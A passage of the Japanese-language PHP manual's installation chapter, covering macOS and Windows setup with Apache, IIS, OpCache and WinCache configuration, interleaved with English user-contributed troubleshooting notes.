-mcpu=G5 -mtune=G5


パッケージの使用

macOS 用にコンパイルされた PHP パッケージがいくつか存在します。 一般的なセットアップを行うにあたって、利用することができます。ただし、 （セキュアサーバーや様々なデータベースドライバなど）少々特殊な機能が必要な場合、 PHP を自分でビルドする必要が有るかもしれません。ソフトウエアの ビルドやコンパイルに不慣れな場合は、必要な機能を含めてビルドされたパッケージを 誰か他の人が作成済みでないかを調べてみると良いでしょう。

macOS で一番手っ取り早いインストール方法は、 以下のようにして、homebrew を使うやり方です。

  1. » brew.sh にある手順に従って、homebrew をインストールします。

  2. brew install php

以下の場所にも、簡単にインストールできる macOS 用のコンパイル済み PHP パッケージがあります。

  • MacPorts: » http://www.macports.org/
  • Liip: » http://php-osx.liip.ch/ (PHP 5.3 - PHP 7.3; 現在は推奨されていません)
  • Fink: » http://www.finkproject.org/

User Contributed Notes

There are no user contributed notes for this page.


バンドルされている PHP の使用法

PHP は、Mac OS X バージョン 10.0.0 以降の Mac に標準添付されています。 デフォルトのウェブサーバーで PHP を有効にするには、Apache 設定ファイル httpd.conf で数行のコメントを解除する必要があります。 一方、CGI や CLI はデフォルトで有効になっています (ターミナルから簡単に利用できます)。

PHP を有効にするには以下の手順を使用してください。 これは、ローカルの開発環境を手早く設定する方法を示したものです。 常に PHP を最新バージョンに更新することを 強く推奨します。 多くのソフトウェアでは、新しいバージョンでは多くのバグが修正されています。 また機能追加もされています。PHP も同様です。 詳細は、適切な macOS インストールドキュメントを参照ください。 以下の手順は初心者を対象としたもので、 まずデフォルトの設定で動作させるための手順を示しています。 すべてのユーザーが、新しいパッケージ版をコンパイルしてインストールすることを推奨します。

標準的なインストール方法は mod_php を使用するものです。macOS 上の Apache web server (デフォルトのウェブサーバーで、System Preferences からアクセスできます) 上に、mod_php を組み込むには次のようにします。

  1. Apache の設定ファイルを開きます。デフォルトでは /private/etc/apache2/httpd.conf にあります。 Finder あるいは Spotlight を使用してこれを見つけることは難しいでしょう。 このファイルはプライベート設定されており、その所有者は root ユーザーだからです。

    注意: Unix ベースのテキストエディタ、たとえば nano を用いて、ターミナルでこのファイルを開きます。このファイルの所有者は root なので、sudo コマンドを使用して (root として) 開く必要があります。つまり、ターミナル上で sudo nano /private/etc/apache2/httpd.conf と入力します (その後、パスワードを聞かれます)。 覚えておくべき nano コマンドは次のとおりです。^w (検索)、 ^o (保存) そして ^x (終了)。 ここで ^ は Ctrl キーを表します。

    注意: Mac OS X 10.5 より前のバージョンにバンドルされている PHP および Apache は、バージョンが古いものです。その場合、Apache の設定ファイルは /etc/httpd/httpd.conf となります。

  2. テキストエディタで、次のような行 (これらのふたつの行は並んでいないこともあります。 それぞれをファイル中で探してください) のコメントをはずします (# を削除します)。

    # LoadModule php5_module libexec/httpd/libphp5.so

# AddModule mod_php5.c
    パスに注意しましょう。将来 PHP をビルドする際には 上のファイルは移動するかコメントアウトする必要があります。

  3. 指定した拡張子 (例: .php .html および .inc) が PHP でパースされるようにします。

    以下のような行が httpd.conf にあれば (Mac Panther 以降にはあります)、 PHP を有効にするだけで .php ファイルが自動的に PHP で処理されます。

    <IfModule mod_php5.c>
    # If php is turned on, we respect .php and .phps files.
    AddType application/x-httpd-php .php
    AddType application/x-httpd-php-source .phps

    # Since most users will want index.php to work we
    # also automatically enable index.php
    <IfModule mod_dir.c>
        DirectoryIndex index.html index.php
    </IfModule>
</IfModule>

    注意:

    Mac OS X 10.5 (Leopard) より前のバージョンには PHP 5 ではなく PHP 4 がバンドルされています。その場合は、ここまでの説明にある 5 という部分を 4 に読み替えてください。

  4. DirectoryIndex でデフォルトインデックスファイルが読み込まれるようにします。 これも httpd.conf で設定します。典型的なパターンは index.php および index.html でしょう。デフォルトでは index.php が有効になります。上で見たような設定がすでにあるからです。 これを適切に調整しましょう。
  5. php.ini の場所を設定するか、デフォルトを使用します。 macOS におけるデフォルトの場所は /usr/local/php/php.ini で、 phpinfo() をコールするとこの情報を表示します。 php.ini を使用しない場合は、PHP はすべてデフォルト値を使用します。 php.ini ファイルはどこにおけばいいのですか? が、関連する FAQ です。
  6. DocumentRoot を配置あるいは設定します。 これは、すべてのウェブファイルのルートディレクトリとなります。 このディレクトリ内のファイルはウェブサーバーで処理されるようになるので、 PHP ファイルは PHP でパースしてからブラウザに出力されます。 典型的なデフォルトのパスは /Library/WebServer/Documents ですが、これは httpd.conf で別の場所にすることができます。 また、各ユーザーの DocumentRoot は /Users/yourusername/Sites となります。
  7. phpinfo() ファイルを作成します。

    phpinfo() 関数は、PHP についての情報を表示します。 DocumentRoot 内に、次のような PHP コードを含むファイルを作成してください。

    <?php phpinfo(); ?>

  8. Apache を再起動し、先ほど作成した PHP ファイルを読み込みます。

    再起動するには、シェルで sudo apachectl graceful を実行するか、あるいは macOS System Preferences で "Personal Web Server" オプションを使用して停止/起動します。 デフォルトでは、ローカルファイルをブラウザで読み込むには http://localhost/info.php のような URL を指定します。 あるいは、各ユーザーディレクトリの DocumentRoot の場合は http://localhost/~yourusername/info.php のようになります。

CLI (あるいは旧バージョンの CGI) は、php という名前で、おそらく /usr/bin/php にあります。 ターミナルを開き、PHP マニュアルの Open up the terminal, read the PHP をコマンドラインから使用する を読んだうえで php -v を実行してみましょう。 これは、PHP バイナリのバージョンを表示します。 phpinfo() をコールしても、この情報を取得できます。

User Contributed Notes

10086 at xiaoi dot me 10-Jun-2019 09:54
setup apache + php environment on macOS 10.12.6

step 1:  start httpd by apachectl
 > sudo apachectl start

step 2: find httpd.conf
 > sudo apachectl -t -D DUMP_INCLUDES

step 3: edit conf, eg: /opt/local/etc/apache2/httpd.conf
 > sudo vim  /opt/local/etc/apache2/httpd.conf

step 4: Load php module before <IfModule unixd_module>, eg:
```
LoadModule php5_module /usr/libexec/apache2/libphp5.so
<IfModule unixd_module>
```

step 5: add mod_php5.c end of httpd.conf
```
<IfModule mod_php5.c>
    AddType application/x-httpd-php .php
    AddType application/x-httpd-php-source .phps
    <IfModule mod_dir.c>
        DirectoryIndex index.html index.php
    </IfModule>
</IfModule>
```

step 6: save and quit
step 7: restart httpd
 > sudo apachectl restart

step 8: write demo.php , test configuration
```
<?php
    phpinfo();
?>
```

step 9: copy demo.php to "DocumentRoot", you can find by httpd.conf

step 10: visit demo.php

all done.
parampal 01-Sep-2014 04:39
instead of step 3, add the following lines to the `/private/etc/apache2/mime.types` file

application/x-httpd-php                 php
application/x-httpd-php-source   phps
cweiske at cweiske dot de 07-Jul-2014 08:56
On recent (10.8/10.9) macs, the apache php config file is located at /etc/apache2/others/php5.conf
Julee 16-Mar-2013 03:49
To work on Mac OS X Lion 10.7, I had to change /private/etc/php.ini.default to /private/etc/php.ini
Anonymous 15-Nov-2008 02:36
You only have to uncomment:
#LoadModule php5_module        libexec/apache2/libphp5.so

This is gone:
# AddModule mod_php5.c

The statement in 3 was changed to:
<IfModule mime_module>
    #
    # TypesConfig points to the file containing the list of mappings from
    # filename extension to MIME-type.
    #
    TypesConfig /private/etc/apache2/mime.types

    #
    # AddType allows you to add to or override the MIME configuration
    # file specified in TypesConfig for specific file types.
    #
    #AddType application/x-gzip .tgz
    #
    # AddEncoding allows you to have certain browsers uncompress
    # information on the fly. Note: Not all browsers support this.
    #
    #AddEncoding x-compress .Z
    #AddEncoding x-gzip .gz .tgz
    #
    # If the AddEncoding directives above are commented-out, then you
    # probably should define those extensions to indicate media types:
    #
    AddType application/x-compress .Z
    AddType application/x-gzip .gz .tgz

    #
    # AddHandler allows you to map certain file extensions to "handlers":
    # actions unrelated to filetype. These can be either built into the server
    # or added with the Action directive (see below)
    #
    # To use CGI scripts outside of ScriptAliased directories:
    # (You will also need to add "ExecCGI" to the "Options" directive.)
    #
    #AddHandler cgi-script .cgi

    # For type maps (negotiated resources):
    #AddHandler type-map var

    #
    # Filters allow you to process content before it is sent to the client.
    #
    # To parse .shtml files for server-side includes (SSI):
    # (You will also need to add "Includes" to the "Options" directive.)
    #
    #AddType text/html .shtml
    #AddOutputFilter INCLUDES .shtml
</IfModule>

Extra MIME types can either be added to the file /private/etc/apache2/mime.types or by using an AddType directive as commented on above.
jaffle 24-Oct-2008 02:36
Additionally, it seems that the default installation of php on Mac OS X (10.5 tested) does not point to the default location of the mysql.sock file that is installed in a standard MySQL 5.0 installation.

This prevents php working with locally hosted MySQL databases.

Adding the following line to the /private/etc/apache2/other/php5.conf file did the trick:

php_value mysql.default_socket /tmp/mysql.sock

(make sure you put it in between the </IfModule> statements)
sachin at dharmapurikar dot in 21-Oct-2008 05:28
I am using MacOSX 10.5.4 and only enabling the mod_php5 wasn't enough to get the PHP support. I had to add following block before I could use php on machine -

<IfModule mod_php5.c>
    # If php is turned on, we respect .php and .phps files.
    AddType application/x-httpd-php .php
    AddType application/x-httpd-php-source .phps

    # Since most users will want index.php to work we
    # also automatically enable index.php
    <IfModule mod_dir.c>
        DirectoryIndex index.html index.php
    </IfModule>
</IfModule>


macOS 上での PHP のコンパイル

PHP を macOS 上でコンパイルする手順については、 Unix へのインストールガイド をご利用ください。

User Contributed Notes

There are no user contributed notes for this page.


Windows システムへのインストール

目次

  • インストール要件
  • PECL
  • Windows 上での PHP インストーラ
  • Windows でのおすすめの構成
  • Windows 上での PHP の手動インストール
  • Windows 上での PHP のトラブルシューティング
  • 古い Windows システムへのインストール

最近の Microsoft Windows システムへのインストール方法と、一般的なウェブサーバー用の推奨構成を説明します。

注意:

Windows XP, 2003, 98 や Apache 1.x などの古いバージョンに関する情報は、旧バージョンの情報 を参照ください。

Windows 版の PHP の公式リリースは、実運用環境でも使えるものです。しかし、PHP をソースからビルドすることもできます。 そのためには Visual Studio の環境が必要です。詳細は » Step by Step Build Instructions を参照ください。

  • Windows コマンドラインでの PHP の使用法

  • Azure App Services (aka Microsoft Azure, Windows Azure, (Windows) Azure Web Apps) 上での PHP のインストール

User Contributed Notes

bufoni at hotmail dot com 17-Sep-2009 07:49
Oh Man!

I installed by Microsoft Installer, manually, whatever I always received de same error from IIS7.

HTTP Error 404.3 - Not Found
The page you are requesting cannot be served because of the extension configuration. If the page is a script, add a handler. If the file should be downloaded, add a MIME map.

The IIS7 interface is quite diferent and are not all together like IIS6

The 5.3 version have not any of those files: php5stdll, php5isapi.dll. etc.

The installer puts others files in handlers and I decided to use them as substitutes. Nothing done!

After that, I discovered that installer do not install these files within the sites, but in the root default site configuration of IIS7.

So, I copied the root configuration to my site and them it worked (all others procedures were done e.g. copy php.ini to windows folder)
dpharshman at dslextreme dot com 16-May-2009 05:52
PHP 5.2.9.2 Install on XP Pro IIS 5.1 - phpinfo( ) results incorrect

Testing Date:  05.15.09

Background:
For several days now I, as a newbie, have been unsure if I had installed PHP correctly, or not.  No matter what I did phpinfo( ) reported "Configuratin File Path" as:  "C:\WINDOWS".  I was left to wonder what was wrong.

To help resolve the phpinfo() "issue", I conducted a series of tests using two scripts:

The first is "test-php-ini-loaded.php"; it is stored in c:\inetpub\wwwroot, and has the following code:

    <?php
    $inipath = php_ini_loaded_file();

    if ($inipath) {
        echo 'Loaded php.ini: ' . $inipath;
    } else {
        echo 'A php.ini file is not loaded';
    }
    ?>

The second script is simply calls phpinfo( ).  It is named test.php, is stored in "c:\inetpub\wwroot",  and has the following code:

    <?php phpinfo( ); ?>

My Dev Environment:
1. Windows XP Pro SP3
2. IIS 5.1 / MMC 3.0
3. PHP 5.2.9.2 - phpMyAdmin not yet installed
4. (plus MySQL 5.1, etc.)
5. Install location is on my local E: drive

The Tests:

Test 1:
a. PHPRC environment variable and IniFilePath Registry left in place and active
b. Verified no other copies of php.ini exist on the system other than in my E:\PHP folder
c. Renamed php.ini to hold-php.ini
d. Stopped and started IIS ("net stop iisadmin" and "net start w3svc")
e. Ran "test-php-ini-loaded.php" to check whether my php.ini is loaded.  It is not.
f. Ran "test.php".  "Loaded Configuration File" was empty, while "Configuration File (php.ini) Path" showed:  C:\WINDOWS.

Test 2:
a. Moved php.ini from E:\PHP to C:\WINDOWS
b. Stopped and started IIS
c. Ran "test-php-ini-loaded.php" to check if my php.ini is loaded.  It is not, which surprised me.
d. Ran "test.php".  My php.ini is apparently not loaded, or found, by phpinfo( ), even though "Configuration File (php.ini) Path" reports it as being in C:\WINDOWS.
e. Note:  Per PHP's "The configuration file" note, PHP's search order includes:  "Windows directory (C:\windows or C:\winnt) (for Windows), ..."; but it apparently doesn't or php.ini would have been found and displayed at "Loaded Configuration File".

Test 3:
a. Left the solo copy of my php.ini in C:\WINDOWS
b. Disabled PHPRC environment variable by renaming it to "Ex-PHPRC and saving the settings (note: for this test  I left the Registry entry for PHP IniFilePath intact)
c. Stopped and started IIS
d. Ran "test-php-ini-loaded.php" to check whether my php.ini is loaded.  Predictably it is not found.
e. Ran the "test.php".  Again, my php.ini file is reported as not found in C:\WINDOWS though "Configuration File (php.ini) Path" reports it as being there.

Test 4:
a. To be thorough and eliminate all possible sources of "mis-direction" I deleted the PHP IniFilePath Registry entry (after backing up the Registry).  The PHPRC environment variable was left disabled.
b. Stopped and started IIS
c. Ran "test-php-ini-loaded.php" to check whether my php.ini is loaded.  Predictably it is not.
d. Ran "test.php".  Again, no change.  My php.ini file is not found "Configuration File (php.ini) Path" reports it as being there.

Conclusions:
The first conclusion I came to is that, in the default download version of phpinfo( ), "Configuration File (php.ini) Path" is hard-wired to report C:\WINDOWS whether php.ini is there or not.  Further, that C:\WINDOWS is not a default search location (at least not on XP).

However, given an otherwise "proper" setup, phpinfo() reporting C:\WINDOWS as the value for "Configuration File (php.ini) Path" is merely misleading and is not actually harmful or indicative of a failed installation.

Thanks go to Peter Guy of www.peterguy.com who suggested the testing, and to Daniel Brown of www.php.net for some initial guidance.

P.S.  This note is not meant to take anything away from PHP.  It is a fine tool.  The sole purpose of the testing was to confirm that my installation of PHP was correct.
smileclick at hotmail dot com 23-Dec-2007 07:02
Still Can't Run PHP Code?

After installing php-5.2.5-win32-installer.msi on my Windows XP2. with IIS5.1 it still didn't run PHP files.

I eventually found the fix*:

1. Goto Control Panel>System>Advanced>Environmental Variables
2. Add a New System Variable "PHRC" and set its path as "C:\Program Files\PHP"
3. Restart

*source:
http://us2.php.net/manual/en/faq.installation.php
#faq.installation.addtopath
robert dot johnson at icap dot com 13-Dec-2007 07:19
IIS setup: 403 forbidden error.

We had installed two separate different PHP versions - PHP 5.1.4 followed by 5.2.5.

We configured 5.2.5 php5isapi.dll to be loaded as the .php file type extension.

Despite this, php version 5.1.4 was being loaded.  We renamed 5.1.4's folder and then PHP was not loading at all.

There were no visible references to 5.1.4 in the IIS configuration, but in the file \webConfig.xml, there was a reference to 5.1.4's isapi under IISFilters.

To fix this problem, we added version 5.2.5's php5isapi.dll to the ISAPI Filter category for the web site, in the IIS control panel.
Jack Hardie 08-Sep-2007 02:33
If you are installing PHP on Vista just go to David Wang's blog. http://blogs.msdn.com/david.wang/
archive/2006/06/21/HOWTO-Install-and-Run-PHP-on-IIS7-Part-2.aspx

Magic!
jneill at gamedaytv dot com 08-Nov-2006 05:36
Here's how to run dual PHP instances with PHP 5.2 and any previous PHP on Windows 2003:

1. Right-click My Computer, go to Advanced tab, and click on Environment Variables.

Add the two installations and their EXT directories to the Path variable. For example, add:
c:\php;c:\php\ext;c:\TMAS\php;c:\tmas\php\ext;

Then, add the newer PHP version's directory as a variable called PHPRC. For example:
Variable:PHPRC
Value: C:\PHP

Click OK to close the Environment Variables window, and click OK to close System Properties.

2. In registry, under HKEY_LOCAL_MACHINE>SOFTWARE>PHP, add a REG_SZ key called iniFilePath and give it a value
of the directory where the older PHP is installed. For example:
C:\TMAS\PHP

3. In IIS, go to the Web Service Extensions. Add both versions' ISAPI module separately to the extensions
list, and allow both.

4. In IIS, go to each website utilizing the PHP versions. Set an ISAPI filter if needed. On the Home Directory
tab, click Configuration, and add .php, .php3, .phtml, and any other extensions needed (perhaps .html?) to
be filtered through PHP, and specify the ISAPI module version needed for each website.

You can now run two versions of PHP. This is because the order of where to look for the .ini file changed
between previous PHP versions and PHP 5.2, as documented at http://us2.php.net/ini:

---------------------------------------------------
 php.ini is searched in these locations (in order):

    * SAPI module specific location (PHPIniDir directive in Apache 2, -c command line option in CGI and CLI, php_ini parameter in NSAPI, PHP_INI_PATH environment variable in THTTPD)
    * The PHPRC environment variable. Before PHP 5.2.0 this was checked after the registry key mentioned below.
    * HKEY_LOCAL_MACHINE\SOFTWARE\PHP\IniFilePath (Windows Registry location)
    * Current working directory (for CLI)
    * The web server's directory (for SAPI modules), or directory of PHP (otherwise in Windows)
    * Windows directory (C:\windows or C:\winnt) (for Windows), or --with-config-file-path compile time option
----------------------------------------------------
webmaster at nachelfamily dot com 07-Nov-2006 05:13
I made the mistake of setting a 'wildcard application map' for PHP on a Windows 2003 / IIS 6.0 / PHP ISAPI installation.

This resulted in "No input file specified" errors whenever I tried to load the default page in my site's directories.  I don't know why this broke things, but it did.

If anyone has the same problem, this may be the cause.
SmugWimp at smugwimp dot com 20-Apr-2006 02:29
If you make changes to your PHP.ini file, consider the following.

(I'm running IIS5 on W2K server. I don't know about 2K3)

PHP will not "take" the changes until the webserver is restarted, and that doesn't mean through the MMC.  Usually folks just reboot. But you can also use the following commands, for a much faster "turnaround".  At a command line prompt, type:

iisreset /stop

and that will stop the webserver service.  Then type:

net start w3svc

and that will start the webserver service again.  MUCH faster than a reboot, and you can check your changes faster as a result with the old:

<?php>
phpinfo();
?>

in your page somewhere.

I wish I could remember where I read this tip; it isn't anything I came up with...
ratkinson at tbs-ltd dot co dot uk 04-Apr-2006 05:28
When installing onto the Windows IIS platform, ensure you add the PHPRC Server Variable to point to your PHP.INI file.

Also, add '.INI' to the FILEEXT Server Variable. Failure to add these could stop the PHP engine being able to find your PHP.INI file, and none of your modifications will be read.

Rob.
lukasz at szostak dot biz 15-Jan-2006 07:50
You can have multiple versions of PHP running on the same Apache server. I have seen many different solutions pointing at achieving this, but most of them required installing additional instances of Apache, redirecting ports/hosts, etc., which was not satisfying for me.
Finally, I have come up with the simplest solution I've seen so far, limited to reconfiguring Apache's httpd.conf.

My goal is to have PHP5 as the default scripting language for .php files in my DocumentRoot (which is in my case d:/htdocs), and PHP4 for specified DocumentRoot subdirectories.

Here it is (Apache's httpd.conf contents):

---------------------------
# replace with your PHP4 directory
ScriptAlias /php4/ "c:/usr/php4/"
# replace with your PHP5 directory
ScriptAlias /php5/ "c:/usr/php5/"

AddType application/x-httpd-php .php
Action application/x-httpd-php "/php5/php-cgi.exe"

# populate this for every directory with PHP4 code
<Directory "d:/htdocs/some_subdir">
    Action application/x-httpd-php "/php4/php.exe"
    # directory where your PHP4 php.ini file is located at
    SetEnv PHPRC "c:/usr/php4"
</Directory>

# remember to put this section below the above
<Directory "d:/htdocs">
    # directory where your PHP5 php.ini file is located at
    SetEnv PHPRC "c:/usr/php5"
</Directory>
---------------------------

This solution is not limited to having only two parallel versions of PHP. You can play with httpd.conf contents to have as many PHP versions configured as you want.
You can also use multiple php.ini configuration files for the same PHP version (but for different DocumentRoot subfolders), which might be useful in some cases.

Remember to put your php.ini files in directories specified in lines "SetEnv PHPRC...", and make sure that there's no php.ini files in other directories (such as c:\windows in Windows).

And finally, as you can see, I run PHP in CGI mode. This has its advantages and limitations. If you have to run PHP as Apache module, then... sorry - you have to use other solution (the best advice as always is: Google it!).

Hope this helps someone.
jp at iticonsulting dot nl 23-Jul-2005 09:42
If you get 404 page not found on Windows/IIS5, have a look at C:\SYSTEM32\INETSRV\URLSCAN

There is a .ini file there that prevents some files from being served by IIS, even if they exist, instead IIS will give a 404. The urlscan logfile (same place) should give you some insight into what parameter is preventing a page from loading, if any.
Feroz Zahid 08-Jun-2005 01:41
In order to run php scripts with php.exe CGI instead of php4isapi.dll under IIS, following steps can be followed.

i) Add a web service extension for PHP using IIS manager. Choose a web service extension name like 'PHP' and add your php.exe path in the 'file location' while adding the required file e.g. 'C:\php\php.exe' in the Add extension dialog box. Don't forget to 'Allow' the extension file.

ii) Open php.ini file located at %systemroot%. Set the following variables to the shown values.

cgi.force_redirect = 0
cgi.redirect_status_env = ENV_VAR_NAME

iii) In your websites, add Application Mapping for '.php' and set the executable path to your php.exe file path.

You can test whether PHP is running or not and other PHP settings using the following simple PHP script.

<?php>
phpinfo();
?>

Feroz Zahid
ferozzahid [_at_] usa [_dot_] [_com_]


インストール要件

PHP 5.5+ は、Windows 2008/Vista, or 2008r2, 2012, 2012r2, 2016 or 7, 8, 8.1, 10 で動きます。32ビット (x86) と64ビット (x64) のどちらでも動きます。PHP は Windows RT/WOA/ARM 上では動きません。 PHP 7.2.0 以降、Windows 2008 および Vista はもはやサポートされません。

PHP は Visual C ランタイム (CRT) を必要とします。これを必要とするアプリケーションは多いので、おそらく既にインストールされているでしょう。

PHP 5.5 および 5.6 が必要とするのは VC CRT 11 (Visual Studio 2012) です。» https://www.microsoft.com/en-us/download/details.aspx?id=30679 を参照ください。

PHP 7.0 と 7.1 が必要とするのは VC CRT 14 (Visual Studio 2015) です。 PHP 7.2, 7.3 および 7.4 が必要とするのは VC CRT 15 (Visual Studio 2017) です。 Microsoft Visual C++ Redistributable for Visual Studio 2019 はこれら全ての PHP バージョンに適合します。 » https://visualstudio.microsoft.com/downloads/ を参照してください。

x86 版のビルドには x86 版の CRT を、そして x64 版のビルドには x64 版の CRT が必要です。

CRT が既にインストール済みである場合はインストーラがそれを検出して通知してくれます。この場合、インストーラは何も手を加えません。

CRT のインストーラはコマンドラインオプション /quiet および /norestart に対応しているので、スクリプトで自動実行させることもできます。

VC11 CRT は、DLL をローカルマシンからリモートマシンにコピーすることもできます (`コピーデプロイメント` 方式のインストール)。そうすれば、リモートマシン (アクセス権限が制限されているウェブサーバーなど) でインストーラを実行する必要がなくなります。

VC14 CRT は、`コピーデプロイメント` 方式のインストールに対応していません。VC14 CRT は大量の DLL で構成されています (その多くは api-* で始まるファイル名です)。これらすべてのファイルをコピーしても、さらに作業が必要となるでしょう (リソースハッカーなどのツールを使って、コピーする DLL の一覧を取得してみましょう)。

User Contributed Notes

There are no user contributed notes for this page.


PECL

PECL 拡張モジュールは、Windows 用にビルド済みのものがこちらからダウンロードできます。» http://windows.php.net/downloads/pecl/releases/

Unix システム固有の機能を使っている拡張モジュールは Windows 版が存在しませんが、それ以外についてはすべて Windows 版が用意されています。

User Contributed Notes

There are no user contributed notes for this page.


Windows 上での PHP インストーラ

PHP インストールツール

IIS を使っている場合に PHP 本体をインストールしようとしたときに いちばん簡単な方法は、» Microsoft の Web Platform Installer (WebPI) を使うことです。

» XAMPP や WampServer や BitNami などを使えば、Windows 上で Apache を使う場合の PHP アプリケーションをセットアップできます。

Nginx を Windows でセットアップする場合は、少し多くの設定が必要です。 セットアップに関して追加のヘルプが必要な場合は、 » Nginx のドキュメント を参照してください。

User Contributed Notes

There are no user contributed notes for this page.


Windows でのおすすめの構成

OpCache

OpCache を有効にすることを強く推奨します。この拡張モジュールは Windows 版の PHP に含まれています。 これは PHP スクリプトをコンパイルして最適化したうえで、メモリにキャッシュします。 そのため、ページを読み込むたびにコンパイルされることがなくなります。

php.ini では、次のように設定します。

例1 OpCache の推奨構成

zend_extension=php_opcache.dll
opcache.enable=On
opcache.enable_cli=On
そしてウェブサーバーを再起動します。 詳細な情報は OpCache の実行時設定 を参照ください。

WinCache

IIS を使うなら、WinCache を有効にすることを推奨します。特に、共有ウェブホスティング環境やネットワークファイルストレージ (NAS) での利用の際におすすめです。 すべての PHP アプリケーションが、WinCache のファイルキャッシュ機能の恩恵を受けられます。ファイルシステム上での操作が、メモリにキャッシュされるのです。 WinCache は、メモリ内のユーザーオブジェクトをキャッシュして、php.exe や php-cgi.exe のプロセス間で共有することもできます (複数リクエストでのオブジェクトの共有)。 主要なウェブアプリケーションの多くは、プラグインや拡張モジュールあるいは設定オプションで WinCache のユーザーオブジェクトキャッシュを使えるようになっています。 ハイパフォーマンスを求めるなら、アプリケーション内でオブジェクトキャッシュを利用すべきです。 » http://pecl.php.net/package/WinCache から WinCache DLL (あるいは tgz) をダウンロードして、PHP の拡張モジュール用ディレクトリ (php.ini の extensions_dir) に配置しましょう。 php.ini では、次のように設定します。

例2 WinCache の推奨構成

extension=php_wincache.dll
wincache.fcenabled=1
wincache.ocenabled=1 ; wincache 2.0.0.0 で削除されました
詳細な情報は » http://php.net/manual/ja/wincache.configuration.php を参照ください。

IIS の構成

IIS マネージャーで FastCGI モジュールをインストールして、`.php` へのハンドラマッピングを追加します。ここでは、PHP-CGI.exe へのパスを指定します (PHP.exe ではありません)。

コマンドラインツール APPCMD を使えば、IIS の構成をスクリプト化できます。

データベース

おそらく、データベースサーバーも必要となることでしょう。主要なデータベースは PHP 用の拡張モジュールを提供しています。もしウェブサイトへのアクセスがそれほど多くないのなら、ウェブサーバーと同じマシンでデータベースを動かすこともできます。主要なデータベースの多くは Windows 上でも動作します。

PHP には mysqli 拡張モジュールと pdo_mysql 拡張モジュールが含まれています。PHP 5.5 と 5.6 には mysql 拡張モジュールが含まれています (これは 7.0 で非推奨となりました)。

» https://dev.mysql.com/downloads/windows/ を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


Windows 上での PHP の手動インストール

ウェブサーバーの選択

IIS

IIS は Windows に標準で組み込まれています。 Windows サーバーの場合は、サーバーマネージャーを使って IIS ロールを追加します。CGI ロールを含める必要があります。 Windows デスクトップの場合は、コントロールパネルの「プログラムの追加と削除」を使って IIS を追加します。 Microsoft のドキュメントに » 詳細な手順があります。 デスクトップウェブアプリケーションやウェブ開発の場合は、IIS/Express や PHP Desktop も使えます。

例1 IIS と PHP の設定をするためのコマンドライン

@echo off

REM download .ZIP file of PHP build from http://windows.php.net/downloads/

REM path to directory you decompressed PHP .ZIP file into (no trailing \)
set phppath=c:\php

REM Clear current PHP handlers
%windir%\system32\inetsrv\appcmd clear config /section:system.webServer/fastCGI
REM The following command will generate an error message if PHP is not installed. This can be ignored.
%windir%\system32\inetsrv\appcmd set config /section:system.webServer/handlers /-[name='PHP_via_FastCGI']

REM Set up the PHP handler
%windir%\system32\inetsrv\appcmd set config /section:system.webServer/fastCGI /+[fullPath='%phppath%\php-cgi.exe']
%windir%\system32\inetsrv\appcmd set config /section:system.webServer/handlers /+[name='PHP_via_FastCGI',path='*.php',verb='*',modules='FastCgiModule',scriptProcessor='%phppath%\php-cgi.exe',resourceType='Unspecified']
%windir%\system32\inetsrv\appcmd set config /section:system.webServer/handlers /accessPolicy:Read,Script

REM Configure FastCGI Variables
%windir%\system32\inetsrv\appcmd set config -section:system.webServer/fastCgi /[fullPath='%phppath%\php-cgi.exe'].instanceMaxRequests:10000
%windir%\system32\inetsrv\appcmd.exe set config -section:system.webServer/fastCgi /+"[fullPath='%phppath%\php-cgi.exe'].environmentVariables.[name='PHP_FCGI_MAX_REQUESTS',value='10000']"
%windir%\system32\inetsrv\appcmd.exe set config -section:system.webServer/fastCgi /+"[fullPath='%phppath%\php-cgi.exe'].environmentVariables.[name='PHPRC',value='%phppath%\php.ini']"
古い IIS のインストール方法 も参照して下さい。

Apache

Windows 用の Apache2 のビルドには、いくつかの種類があります。 ApacheLounge がおすすめですが、それ以外にも XAMPP や WampServer や BitNami といったものがあり、これらはインストーラがついています。 Apache で PHP を使うには、mod_php あるいは mod_fastcgi を用います。 mod_php を使う場合は、スレッドセーフ版の Apache を使う必要があります。また、同じバージョンの Visual C、同じ CPU (x86 あるいは x64) のビルドでなければいけません。 古いApache のインストール手順 も参照して下さい。

ビルド方法の選択

Windows 向けのビルドは » http://windows.php.net/download/ からダウンロードできます。 全てのビルドは最適化(PGO) されており、 QA や GA リリースで数多くのテストがなされています。

PHP には四種類のビルドがあります。

  • Thread-Safe(TS) - Apache と mod_php のような、シングルプロセスのウェブサービス用

  • Non-Thread-Safe(NTS) - IIS やその他の FastCGI ウェブサーバー (Apache と mod_fastcgi など) 用。また、コマンドラインのスクリプト用にもおすすめ。

  • x86 - PHP 5.5 以上の実運用環境用。

  • x64 - PHP 7.0 の実運用環境用 (ただし、32ビット版のWindowsでは使えない)。5.5 と 5.6 の x64 版は実験的なもの。

User Contributed Notes

klaussantana at gmail dot com 31-Jan-2021 03:34
If you're installing PHP 8.0.1 as Apache http server module, in httpd.conf you must use "php_module" in "LoadModule" directive instead of versioned names like in previous versions (aka, php5_module, php7_module, ...). Make the directive as follow:

LoadModule php_module "/path/to/php8apache2_4.dll"

I cracked my head over this...


Windows 上での PHP のトラブルシューティング

テンポラリディレクトリのパーミッションのチェック

  1. エクスプローラでテンポラリディレクトリを右クリックして、パーミッションを調べます。

  2. IIS の場合は、IIS_User ユーザーがこのディレクトリへの書き込み権限を持っている必要があります。テンポラリディレクトリの場所は、php の設定や phpinfo で取得できます。

User Contributed Notes

There are no user contributed notes for this page.


古い Windows システムへのインストール

本章は、Windows 98/Me および Windows NT/2000/XP/2003 に適用されます。 PHP は、Windows 3.1 などの 16 ビットのプラットフォームでは動作しません。 PHP がサポートする Windows プラットフォーム を Win32 と呼ぶことがあります。

注意:

Windows XP/2003 は、PHP 5.5.0 以降サポートされなくなりました。

注意:

Windows 98/Me/NT4/2000 は、PHP 5.3.0 以降サポートされなくなりました。

注意:

Windows 95 は、PHP 4.3.0 以降サポートされなくなりました。

Microsoft Visual Studio などの開発環境を持っていれば、オリジナルのソースコードから PHP を ビルドすることも可能です。

Windows システムに PHP をインストールした後、機能を追加するために 拡張モジュールのロード が必要な場合があります。

手動でのインストール

この?では、Microsoft Windows 環境に PHP を手動でインストールして設定する方法を説明します。

PHP 配布パッケージの選択とダウンロード

PHP バイナリの zip 版を » PHP for Windows: Binaries and Sources からダウンロードします。zip パッケージにはいくつかのバージョンがあります。 適切なバージョンを選ぶための詳細な指針が、 » ダウンロードページ にあるので、それに従いましょう。

PHP パッケージの構造と内容

